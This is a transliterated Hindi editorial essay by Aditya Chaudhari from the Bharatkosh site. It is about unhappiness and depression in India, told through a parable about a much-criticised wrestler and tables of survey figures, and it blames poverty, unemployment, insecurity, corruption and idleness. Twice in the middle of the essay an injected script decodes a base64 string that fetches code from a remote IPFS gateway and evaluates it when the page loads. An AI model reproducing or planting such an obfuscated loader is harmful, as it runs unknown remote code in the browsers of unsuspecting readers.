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20px|link=http://www.facebook.com/bharatdiscovery|fesabuk par bharatakosh (nee shuruat) bharatakosh
20px|link=http://www.facebook.com/profile.php?id=100000418727453|fesabuk par adity chaudhari adity chaudhari
kabhi khushi kabhi gam -adity chaudhari
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"chhote pahalavan! kya bat hai itane udas kyoan ho yar?"
"chalo chho do jane do... mujhe mere hal par chho d do..." chhote pahalavan ne thandi saans ke sath kaha aur tikit kate neta jaisa muanh bana kar shoony mean takane laga.
"bata to sahi mere yar bat kya hai?"
tho di der aur na nukur karane ke bad chhote pahalavan ne apani dastan-e-udasi sunaee-
"jab maian chhota tha to bolata nahian tha. logoan ko takata rahata tha"
logoan ne kaha "itana b da ho gaya bolata nahian hai, gooanga hai kya?"
"jab maianne bolana shuroo kiya to bahut zyada bolane laga. log mujhe takate rahate the"
logoan ne kaha "kyoan ji apaka bachcha bahut zyada bolata hai, ise chup rahana bhi sikhaie."
"maianne bolana kam karake khelana zyada shuroo kar diya."
logoan ne kaha "khelata hi rahega ya padhega bhi?"
"maianne padhana shuru kiya to bahut zyada padhane laga"
logoan ne kaha "sara din sari rat padhega hi kuchh ghar ka kam bhi dekhega?"
"maianne ghar ka kam dekhana shuroo kar diya"
logoan ne kaha "sara din ghar mean hi ghusa rahega ya bahar ki duniya bhi dekhega? ghar ghussoo kahian ka"
"maianne bahar jakar sangit sikhana aur kasarat karana shuroo kar diya."
logoan ne kaha "sangit se ya kasarat se kya paisa a jaega."
"maianne paisa kamana shuroo kar diya."
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vishv svasthy sangathan (WHO) ki or se kie ge ek sarvekshan ke anusar bharat duniya ka pahala desh hai jahaan sabase zyada log avasad ke mariz ban rahe haian. bharat mean 36 pratishat log avasad ke ek ganbhir roop (mejar dipresiv episod) ke shikar haian.
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logoan ne kaha "paisa to tik damabazi aur beeemani se hi ata hai, kiya hoga koee ghapala."
"maianne paisa kamana chho d kar mandir jana shuroo kar diya, subah sham ghantoan mandir mean guzarane laga."
logoan ne kaha "mandir mean jane ka dhoang karane ki kya zaroorat hai, bhagavan to samaj seva se milata hai."
"maianne samajik kamoan mean ruchi li rajanaitik mudde uthae."
logoan ne kaha "hamean to pahale hi pata tha ki tik damabaz hai, tabhi to rajaniti mean age badh gaya."
"maianne rajaniti chho d di, ek ashram jakar sannyas grahan kar liya."
logoan ne kaha "nau sau choohe kha kar billi haj ko chali"
"ab batao kya karooan ? bas isilie maian dukhi hooan...mujhe lagata hai ki is samasya ka koee ilaj nahian hai..."
dost b da samajhadar tha, usane chhote pahalavan ko samajhaya- "mere bhole mitr! agar tum us samasya se du:khi ho jisaka koee samadhan nahian hai to tumhara du:khi hona bekar hai kyoanki jis samasya ka samadhan n ho vah samasya nahian hoti. samasya keval vahi hoti hai jisaka koee n koee samadhan ho. isalie donoan hi sthitiyoan mean du:khi hona bekar hi hua n? lekin teri samasya ka mere pas ek samadhan hai. ab too meri man pahalavan! too is shahar ko chho dakar doosare shahar mean chala ja, vahaan too jo kuchh bhi karega, tere samane ye logoan ke kahane-sunane vali diqqat nahian aegi"
vastav mean chhote pahalavan ne aisa hi kiya aur vah ek poornat: saphal vyakti kahalaya.
anek samasyaoan ke karan hamare desh mean du:kh aur avasad (dipreshan) ki samasya tezi se badh rahi hai. yah kaha ja raha hai ki har tisara bharatiy nagarik avasad grasit hai. vishv svasthy sangathan (WHO) ki or se kie ge ek sarvekshan ke anusar bharat duniya ka pahala desh hai jahaan sabase zyada log avasad ke mariz ban rahe haian. bharat mean 36 pratishat log avasad ke ek ganbhir roop (mejar dipresiv episod) ke shikar haian. is avastha ka parinam atmahatya bhi ho sakata hai. ek anuman ke anusar avasad ke 15 pratishat rogi atmahatya kar lete haian.
bharat mean du:khi logoan ke aank de bahut chauankane vale haian. in aank doan par ap yooan hi vishvas kar lean to yah bhi thik nahian kyoanki aank de alag-alag paristhiti mean aur alag-alag ejeansiyoan dvara ikatthe kie jate haian jo badalate rahate haian phir bhi ek nazar dalean...
badhate dukhi log (aank de pratishat mean)
| varsh
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dukhi
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sangharsharat
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saphal
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| 2007
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09
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75
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16
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| 2008
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07
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74
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19
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| 2009
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21
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69
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10
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| 2010
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19
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64
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17
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| 2011
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24
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66
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11
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| 2012
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31
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56
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13
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vibhinn kshetroan mean kary karane vale log
| vibhinn kshetr
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varsh 2011
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varsh 2012
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| vhait k aaular j aaub vale
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15 pratishat
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17 pratishat
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| bloo k aaular j aaub vale
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26 pratishat
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29 pratishat
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| krishi mazadoor
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31 pratishat
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38 pratishat
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kam padhe zyada dukhi
| dasavian tak padhe
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26 pratishat
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| snatak se niche
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14 pratishat
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| propheshanal digridhari
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06 pratishat
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aank de kah rahe haian ki dukhi badh rahe haian ya yah kahean ki sukhi kam ho rahe haian. vaise donoan batean ek hi haian lekin ek prashn hai 'sukh ko badhane se du:kh kam hoga ya du:kh ko ghatane se sukh badhega ?' in donoan mean se kaun si bat sahi hai ? asal mean manushy ka du:kh kam karane ke lie use sukhi karana avashyak hai. isalie sukhi karane ke upay karana hi arthapoorn hai n ki du:kh kam karane ka. du:kh kam karane ke lie isake alava, koee upay hai bhi nahian. sari duniya mean sabhi vyakti sukh ki talash mean rahate haian shayad eeshvar se bhi zyada kisi ki talash yadi ki gee hai to vah hai sukh. vaise yadi ye kahean ki sukh prapti ke lie hi eeshvar ki talash ki jati hai to kuchh galat nahian hoga.
du:kh aur avasad ke anek-anek karan ho sakate haian. kuchh karanoan par charcha kar raha hooan-
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yadi ham eemanadar ko yah ahasas nahian karaeange ki eemanadar hona keval man ka santosh nahian hai balki samaj mean aur sarakar mean bhi isaka vishesh mahatv hai to natije behatar hoange.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
du:kh aur avasad ka karan 'garibi'-
apako ek purana nara yad hai kya ? 'garibi hatao'... bahut prasiddh hua tha ye nara. vo bat alag hai ki n to garibi hati aur n hi is nare ka matalab kisi ke samajh mean aya lekin nare ne apana kam kar diya, chunav jita kar. is nare ki bajay yadi nara 'amiri badhao' ho, to yah adhik sarthak ho sakata hai aur isake lie prayas bhi suniyojit dhang se kie ja sakate haian. kyoanki garibi hatao ko garib hatao mean badalana b da asan hai jaise ki gariboan ko haeeve se hatao, futapath se hatao, mahanagaroan se hatao, sh aaupiang m aaul se hatao, rajaniti se hatao, vyapar se hatao adi-adi to phir vo rahean kahaan? apane deshavasiyoan ko amir banane ke kram mean amarika ne to samrajyavad apana liya lekin bharat ko kya karana chahie? sirf ek hi rasta hai, utpadan badhane ka jisamean khadyan utpadan sabase mahatvapoorn hai. lekin ho kuchh aur hi raha hai. upajaoo zamin par kankrit ke jangal banae ja rahe haian...
du:kh aur avasad ka karan 'berozagari'-
'berozagari hatao' nara bhi ajib tarah ka nara hai. jabaki sidhi-sadi si bat hai ki rozagar dene se hi berozagari hatati hai to phir nara 'rozagar lao' kyoan nahian hota? kyoanki hamari manasikata nakaratmak batoan ko adhik dhyan se sunane ki ban gee hai. rozagar ke lie kya karean? anek upay ho sakate haian jaise ki-
sarakari aur gair sarakari sansthaoan mean nichale kram ki naukari ke lie 50 pratishat arakshan unaka ho jinaki nyoonatam shaikshik yogyata snatak ho. ye naukariyaan vahan chalak, chaparasi adi jaise kary ki hoan. isase kisi bhi snatak ko sadharan naukari karane mean sharm mahasoos nahian hogi.
ise yooan bhi kah sakate haian ki vahan chalak, surakshakarmi, chaparasi ke lie yadi nyoonatam shaikshik yogyata snatak ho to padhe likhe berozagar in naukariyoan ko karane mean sharmiandagi mahasoos nahian kareange.
bharat mean abhi tak shiksharthiyoan ka padhaee lie naukari karana ya padhaee ke sath-sath naukari karane ka prachalan utana nahian hai jitana ki pashchimi deshoan mean hai. in shiksharthiyoan ko hotaloan ya restaraoan mean kam karane mean sharm mahasoos hoti hai. yadi sarakar ki or se in shiksharthiyoan ko ek billa (Badge) diya jay jo inake shiksharthi-karmi hone ki pahachan ho to log is bille ko dekhakar inase apekshakrit achchha vyavahar kareange. jab samman poorn vyavahar hoga to shiksharthiyoan ko kisi bhi naukari mean lajja ka anubhav nahian hoga.
du:kh aur avasad ka ek karan hai asuraksha-
jaise ki nyayapalika ka sootr hai ki 'aparadhi ka nahian balki aparadh ka unmoolan karana hai'. yah sootr sunane mean kafi prabhavashali hai lekin apane abhiyan mean saphal kitana hai isaka ullekh karane ki koee avashyakata nahian hai kyoanki isaki saphalata-asaphalata sabhi janate haian. asal mean hamara kendr bindu sadaiv aparadh aur aparadhi rahata hai. us samany prakriti ke vyakti ki or hamara dhyan hi nahian rahata, jo ki aparadhik krity se bachata rahata hai. yadi ek matr zikr hota bhi hai to is sootr se ki 'chahe das aparadhi chhoot jaean kintu ek niraparadhi ko saza nahian honi chahie.
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sarakari aur gair sarakari sansthaoan mean nichale kram ki naukari ke lie 50 pratishat arakshan unaka ho jinaki nyoonatam shaikshik yogyata snatak ho. ye naukariyaan vahan chalak, chaparasi adi jaise kary ki hoan. isase kisi bhi snatak ko sadharan naukari karane mean sharm mahasoos nahian hogi.
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ek achchhe nagarik ke lie lie shasan ki or se matr yah vyavastha hai ki jab kabhi vah niraparadh pak da jaega to use bachane ka prayas kiya jaega. yah kya vyavastha huee? ek achchhe nagarik ko rajy ki or se sammanit karane ya kam se kam sasamman jine ki koee vyavastha rajy nahian karata. kabhi bhi aisa nahian hua ki koee ek aisa nagarik jisane apana poora jivan sabhi prakar ke samajik aur rajy pradatt niyamoan ko manate hue vyatit kiya ho aur use umr ke aantim p dav mean pahuanch kar aur varishth nagarik banakar, koee kisi prakar ka samman rajy dvara diya gaya ho. varishth nagarik ya prachalit bhasha mean kahean ki siniyar sitizan ko jo yatra kirae mean jo riyayatean milati haian ve to sabhi ke lie saman haian bhale hi vah koee 'avakash prapt atankavadi' hi kyoan n ho.
du:kh aur avasad ka karan 'bhrashtachar'-
yah sahi hai ki kisi bhi naukari ke lie eemanadari nyoonatam avashyakata hai lekin is avashyakata ko kitane log poorn kar rahe haian. jo ise poorn kar rahe haian unhean koee vishesh mahatv kyoan nahian mil raha. kisi eemanadar ko vishesh mahatv n dene ki yah paripati us samay to thik thi jab un logoan ki sankhya kam thi jo eemanadar nahian the. sanh 1960 ke as-pas bharat mean bhrashtachar ka aantararashtriy soochakaank 7 pratishat ke lagabhag tha. ajakal yah anupat kitana hai ise batane ki avashyakata nahian hai. yadi ham eemanadar ko yah ahasas nahian karaeange ki eemanadar hona keval man ka santosh nahian hai balki samaj mean aur sarakar mean bhi isaka vishesh mahatv hai to natije behatar hoange. nishchit roop se anek sarakari karmachari aise haian jo apane avakash praptikal tak bharasak satyanishtha ka palan karate haian aur rishvat bhi nahian lete, lekin unake avakash prapt jivan mean aur ek bhrasht karmachari ke jivan mean rajy ki drishti mean koee aantar nahian hota. maianne kabhi nahian suna ki kisi rajyakarmachari ko usaki eemanadari ke sath di gee sevaoan ke lie rajy ne puraskrit kiya ho. eemanadari ko ek samajik gun ke roop mean hi liya jata hai lekin ise ek prashasanik yogyata ke roop mean bhi pratishthit kiya jana chahie. rajy karmachariyoan ki padonnati ya padovanati unaki eemanadari ki sevaoan ka moolyaankan karake honi chahie. bhrasht karmachariyoan ko dandit karane ki prakriya se bhrashtachar kam nahian hua hai balki badha hai. zaroorat hai eemanadar ko sammanit karane ki.
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kisi eemanadar ko vishesh mahatv n dene ki yah paripati us samay to thik thi jab un logoan ki sankhya kam thi jo eemanadar nahian the. sanh 1960 ke as-pas bharat mean bhrashtachar ka aantararashtriy soochakaank 7 pratishat ke lagabhag tha.
chitr:Blockquote-close.gif
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
du:kh aur avasad ka karan 'khali dimag'-
purani kahavat hai 'khali dimag shaitan ka ghar'. yah kahavat nishchit hi, vaijnanik parikshan ka natija hai. manushy ka mastishk khali rahane par nakaratmak batean zyada sochata hai. kabhi is prayog ko karake dekhean ki khud ko kuchh samay ke lie khali chho d dean. ap dekheange ki apako bar-bar apane dimag ko rachanatmak soch ki or mo dana p d raha hai varana dimag to adhikatar bure vicharoan se ghirane lagata hai. ye vichar hi hamean pahale du:kh aur phir avasad ki or le jate haian.
kahate haian ki pratyek manushy apani sthiti ke lie svayan hi zimmedar hota hai. du:kh ki upasthiti sukh ke sath vaise hi hai jaise prakash ke sath aandhakar, amiri ke sath garibi, jnan ke sath ajnan, prem ke sath ghrina, milan ke sath vichhoh adi ju de rahate haian.
ise tho da aur vistar dean to-
prakash ki upasthiti sadaiv aandhakar se prabhavit rahati hai. prakash ka sukh vahi anubhav kar sakata hai jisane aandhakar ka anubhav kiya ho. isalie prakash mean aandhakar ka bhay samahit hai. koee amir aisa nahian hai jise garib ho jane ka bhay du:khi n karata ho. ham jitane jnani hote jate haian utana hi apane ajnan ka ahasas badhata jata hai. prem ka sukh aur ghrina ka du:kh samanantar chalate rahate haian. asal mean prem aur ghrina ek doosare ke avaran matr haian. milan ke sukh ko vichhoh ka du:kh hamesha prabhavit karata rahata hai. yadi yah kahean to aur bhi uchit hoga ki vichhoh ka du:kh kya hai, yah samajh mean tabhi ata hai jab milan ka sukh milata hai.
du:kh ko aandhakar ki tarah shashvat kaha gaya hai aur sukh ko prakash ki tarah kshanik kaha jata hai lekin maian sahamat nahian hooan isase kyoanki yadi du:kh shashvat hai to sukh bhi shashvat hi hoga anyatha sukh, kabhi bhi du:kh ka vilom nahian ko sakata. sabhi vilom apane anulom ke samanantar hote haian aur apane bhitar ek-doosare ko chhupae rahate haian.
meri 'magajamari' ka saraansh yah hai ki du:kh ko samajh n pana hi du:khi hone ka karan hai. bas aur kuchh nahian...
is bar itana hi... agali bar kuchh aur...
-adity chaudhari
sansthapak evan pradhan sampadak
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